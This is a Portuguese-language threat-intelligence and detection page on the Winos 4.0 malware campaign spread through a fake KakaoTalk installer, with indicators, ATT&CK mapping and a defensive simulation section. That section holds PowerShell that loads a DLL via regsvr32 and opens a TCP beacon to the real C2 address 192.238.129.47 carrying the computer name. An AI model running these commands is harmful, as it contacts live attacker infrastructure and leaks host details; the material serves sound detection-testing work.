Malware Winos 4.0 Disfarçado como Instalador do KakaoTalk
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Os atacantes abusaram do envenenamento de SEO para empurrar um instalador falso do KakaoTalk para o topo dos resultados de busca. O instalador continha um certificado de assinatura de código inválido e embutido um pacote NSIS que extraía arquivos maliciosos, incluindo Verifier.exe e AutoRecoverDat.dll. Uma vez executado, o malware atingiu persistência através do registro de DLL, tarefas agendadas e um mutex, em seguida, conectou-se a dois servidores C2 separados. Suas capacidades incluíam captura de tela, perfil de sistema e execução em memória de cargas adicionais.
Investigação
O Centro de Inteligência de Segurança da AhnLab relatou mais de 5.000 PCs comprometidos depois que a campanha começou em 9 de março. Análises mostraram que cargas úteis NSIS criptografadas decriptam e descartam Verifier.exe e AutoRecoverDat.dll, criam um mutex e carregam shellcode a partir de arquivos GPUCache.xml. Dependendo do ramo de shellcode, o malware contatava infraestruturas C2 em 192.238.129.47 ou 119.28.70.225. A persistência foi mantida via registro de DLL e tarefas agendadas que lançavam ou Verifier.exe ou rundll32 com a DLL maliciosa.
Mitigação
As organizações devem bloquear os domínios maliciosos e URLs de download associados à campanha. Enforce validação rigorosa de assinatura de código e previna a execução de binários que transportem certificados inválidos. Listas de permissão de aplicativos devem ser usadas para bloquear instaladores NSIS desconhecidos de execução. As equipes de segurança também devem monitorar o mutex específico, tarefas agendadas suspeitas e alterações no registro descritas no relatório.
Resposta
Equipes de detecção devem alertar sobre a criação do mutex 77825d8f-46d1-42d0-b298-83068bf9e31d e tarefas agendadas em MicrosoftWindowsAppID. Procurar por Verifier.exe e AutoRecoverDat.dll dentro dos diretórios de perfil de usuário e bloquear tráfego de saída para os IPs e portas C2 conhecidos. Realizar revisão forense dos sistemas afetados e remover completamente todos os artefatos de persistência e componentes maliciosos.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Técnica</b> – T1593.002 Envenenamento de Mecanismo de Busca<br/><b>Descrição</b>: Manipular SEO para classificar sites maliciosos nos resultados de busca."] class tech_initial_access technique tech_user_exec["<b>Técnica</b> – T1204 Execução pelo Usuário<br/><b>Descrição</b>: A vítima executa o instalador malicioso acreditando que seja legítimo."] class tech_user_exec technique tech_obfuscation["<b>Técnica</b> – T1027 Arquivos ou Informações Ofuscados<br/><b>Descrição</b>: Cargas encriptadas no instalador NSIS e decriptadas em tempo de execução."] class tech_obfuscation technique tech_powershell["<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descrição</b>: Executa comandos PowerShell via cmd para modificar configurações do Defender."] class tech_powershell technique tech_exclusions["<b>Técnica</b> – T1564.012 Exclusões de Arquivo/Caminho<br/><b>Descrição</b>: Adiciona entradas de exclusão para C:, D:, E:, F: no Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Técnica</b> – T1218.011 Execução Proxy Rundll32<br/><b>Descrição</b>: Usa rundll32.exe para carregar AutoRecoverDat.dll malicioso."] class tech_rundll32 technique tech_appcert["<b>Técnica</b> – T1546.009 DLLs AppCert<br/><b>Descrição</b>: Registra DLL para execução quando AppCert é carregado, permitindo persistência e escalonamento."] class tech_appcert technique tech_schtask["<b>Técnica</b> – T1053 Tarefa/Job Agendado<br/><b>Descrição</b>: Cria tarefas para lançar Verifier.exe e rundll32 na inicialização do sistema."] class tech_schtask technique tech_c2_nonstd["<b>Técnica</b> – T1571 Porta Não-Standard<br/><b>Descrição</b>: Comunica-se com servidores C2 em portas 18852 e 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Técnica</b> – T1205.001 Port Knocking<br/><b>Descrição</b>: Usa port knocking para esconder tráfego C2."] class tech_port_knocking technique tech_dynamic_res["<b>Técnica</b> – T1568 Resolução Dinâmica<br/><b>Descrição</b>: Resolve endereços C2 em tempo de execução, adaptando-se à presença de produtos AV chineses."] class tech_dynamic_res technique tech_indicator_removal["<b>Técnica</b> – T1027.005 Remoção de Indicadores de Ferramentas<br/><b>Descrição</b>: Verifica por produtos AV específicos e altera persistência de acordo."] class tech_indicator_removal technique tech_software_disc["<b>Técnica</b> – T1518.001 Descoberta de Software<br/><b>Descrição</b>: Coleta lista de softwares instalados para reconhecimento."] class tech_software_disc technique tech_path_intercept["<b>Técnica</b> – T1574.009 Interceptação de Caminho por Caminho Sem Aspas<br/><b>Descrição</b>: Explora caminhos de serviço sem aspas para carregar DLL malicioso."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>Arquivo</b>: Instalador NSIS Malicioso (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Arquivo</b>: Verifier.exe"] class file_verifier malware file_dll["<b>Arquivo</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>Processo</b>: powershell.exe (adiciona exclusões do Defender)"] class proc_powershell process proc_rundll32["<b>Processo</b>: rundll32.exe (carrega AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Processo</b>: schtasks.exe (cria tarefas agendadas)"] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leva_a| tech_user_exec tech_user_exec –>|executa| file_installer file_installer –>|contém| tech_obfuscation tech_obfuscation –>|decripta| file_verifier tech_obfuscation –>|decripta| file_dll file_installer –>|chama| tech_powershell tech_powershell –>|executa| proc_powershell proc_powershell –>|adiciona| tech_exclusions file_installer –>|usa| tech_rundll32 tech_rundll32 –>|inicia| proc_rundll32 proc_rundll32 –>|carrega| file_dll tech_appcert –>|registra| file_dll tech_appcert –>|habilita| tech_schtask tech_schtask –>|cria| proc_schtask proc_schtask –>|agenda| file_verifier proc_schtask –>|agenda| proc_rundll32 tech_appcert –>|proporciona| tech_path_intercept tech_path_intercept –>|facilita| tech_appcert tech_c2_nonstd –>|usado_por| file_verifier tech_c2_nonstd –>|usado_por| file_dll file_verifier –>|comunica-se via| tech_port_knocking file_dll –>|comunica-se via| tech_port_knocking tech_port_knocking –>|depende_de| tech_dynamic_res tech_dynamic_res –>|detecta| tech_indicator_removal tech_indicator_removal –>|modifica| tech_appcert file_installer –>|coleta| tech_software_disc "
Fluxo de Ataque
Detecções
Execução de Caminho Suspeito de dll Rundll32 (via criação_de_processo)
Ver
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Ver
Comando e Controle Suspeitos por Solicitação DNS de Domínio de Nível Superior (TLD) Incomuns (via dns)
Ver
IOCs (HashMd5) para detectar: Malware Winos4.0 Disfarçado como Instalador do KakaoTalk
Ver
IOCs (DestinationIP) para detectar: Malware Winos4.0 Disfarçado como Instalador do KakaoTalk
Ver
IOCs (SourceIP) para detectar: Malware Winos4.0 Disfarçado como Instalador do KakaoTalk
Ver
Detecção de Atividades de Malware Winos4.0 [Criação de Processo do Windows]
Ver
Comunicação C2 para Malware Winos4.0 via Arquivos GPUCache [Conexão de Rede do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check pré-voo para Telemetria & Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa devem refletir diretamente os TTPs identificados e visar a gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
O adversário já colocou DLLs maliciosos dentro da
%LOCALAPPDATA%MicrosoftWindowsGPUCachediretório, disfarçando-se como arquivos de cache legítimos. Para executar a carga, o atacante aproveita Regsvr32 (T1218.012) para carregar a DLL, depois usa o componente carregado para iniciar a comunicação C2 via porta TCP 18852 (ou porta HTTPS 443) para o servidor hard-coded 192.238.129.47. Este fluxo de rede é o indicador observável que a regra Sigma monitora.- Carregar DLL maliciosa via Regsvr32
regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" - Iniciar beacon C2 (a DLL maliciosa abre um soquete TCP para o servidor C2). Para teste, emulamos o beacon com um cliente PowerShell TCP simples que se conecta ao mesmo IP/porta.
$c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852) $stream = $c2.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME") $stream.Write($payload,0,$payload.Length) $stream.Close() $c2.Close()
- Carregar DLL maliciosa via Regsvr32
-
Script de Teste de Regressão: O script a seguir reproduz as etapas acima de ponta a ponta e gerará a telemetria de rede exata que a regra Sigma espera.
# ------------------------------------------------- # Simulação de C2 Winos4.0 – aciona regra Sigma # ------------------------------------------------- # 1. Carregar a DLL maliciosa (simulada) via Regsvr32 $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Write-Host "[*] Registrando DLL maliciosa via Regsvr32..." regsvr32 /s $dllPath } else { Write-Error "[-] DLL simulada não encontrada em $dllPath – abortando." exit 1 } # 2. Emular beacon C2 para o IP/porta hard-coded $c2IP = '192.238.129.47' $c2Port = 18852 Write-Host "[*] Estabelecendo conexão TCP com $c2IP:$c2Port ..." try { $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port) $stream = $client.GetStream() $msg = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)" $bytes = [System.Text.Encoding]::ASCII.GetBytes($msg) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] Beacon enviado." } catch { Write-Error "[-] Falha na conexão: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } } # ------------------------------------------------- -
Comandos de Limpeza: Remova quaisquer artefatos temporários e feche conexões remanescentes.
# Remover a DLL maliciosa simulada (se foi um artefato de teste) $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Remove-Item -Path $dllPath -Force Write-Host "[*] Limpado DLL simulada." } # Assegure-se de que não restem ouvintes TCP órfãos (improvável apenas no lado do cliente) Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object { # Nenhuma ação necessária; conexões são fechadas no script. }